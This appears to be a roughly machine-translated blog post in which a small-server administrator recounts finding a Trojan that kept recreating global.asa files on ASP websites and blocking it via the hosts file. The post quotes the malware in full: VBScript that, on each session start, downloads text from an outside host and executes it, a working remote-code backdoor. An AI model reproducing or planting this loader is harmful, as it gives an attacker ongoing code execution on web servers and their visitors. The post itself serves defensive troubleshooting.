Helped others maintain a small server and put several small business websites, including ASP and ASP. NET.
During this time, it was found that the ASP Website could not be logged on, and the password was good, and it was obvious that a successful login was redirected, but in a twinkling of an eye, it returned to the login page. It can be basically determined that the server state cannot be maintained, that is, the session cannot be used.
Baidu has a few times, some professional students have fully spoken about it, and the solutions provided are:CodeProblem,ProgramConfiguration problems and Trojan problems. Based on the problems mentioned above, I checked that a file named Global. Asa or global. asax is saved in the root directory of each website. Very cheap!
I tried to delete files using the method described on the Internet. But in a few seconds it will automatically create again. It's even worse! Sister's!
After a while, I tried to study this document. The content is as follows:
< Script Language = "VBScript" Runat = "Server" > ' By * aming Sub Application_onstart End sub Sub Application_onend End sub Sub Session_onstart On Error Resume Next URL = " Http://glo.100500.com/xml/global.asaquan.txt " Set Objxmlhttp = Server. Createobject ( " Msxml2.serverxmlhttp " ) Objxmlhttp. Open " Get " , URL, False Objxmlhttp. setRequestHeader " User-Agent " , URL objxmlhttp. Send gethtml = Objxmlhttp. responsebody Set Objxmlhttp = Nothing Set Objstream = Server. Createobject ( " ADODB. Stream " ) Objstream. Type = 1 Objstream. Mode = 3 Objstream. Open objstream. Write gethtml objstream. Position = 0 Objstream. Type = 2 Objstream. charset = " Gb2312 " Gethtml = Objstream. readtext objstream. Close Set Objstream = Nothing If Instr (Gethtml, " By * aming " ) > 0 Then Execute Gethtml End If End sub ' Sub session_onend ' End sub </ Script >
The Code does not contain anything especially malicious, But it requests a network address http://glo.100500.com/xml/global.asaquan.txt. Open this address and you will find a bunch of cheap B code.
If the specific code is not analyzed, it is definitely unfriendly. Sister's!
What should I do if I cannot delete it?
Suddenly think of some security software to shield ad plug-ins: Change the hosts file.
Open the hosts file under c: \ windows \ system32 \ drivers \ etc and add a line of content:
127.0.0.1 glo.100500.com
OK, your sister's. delete all the global. Asa and Global. asax files. Wait a while and it will not be created again. Wipe... Sun Tzu's ..
In a few hours, it's still safe...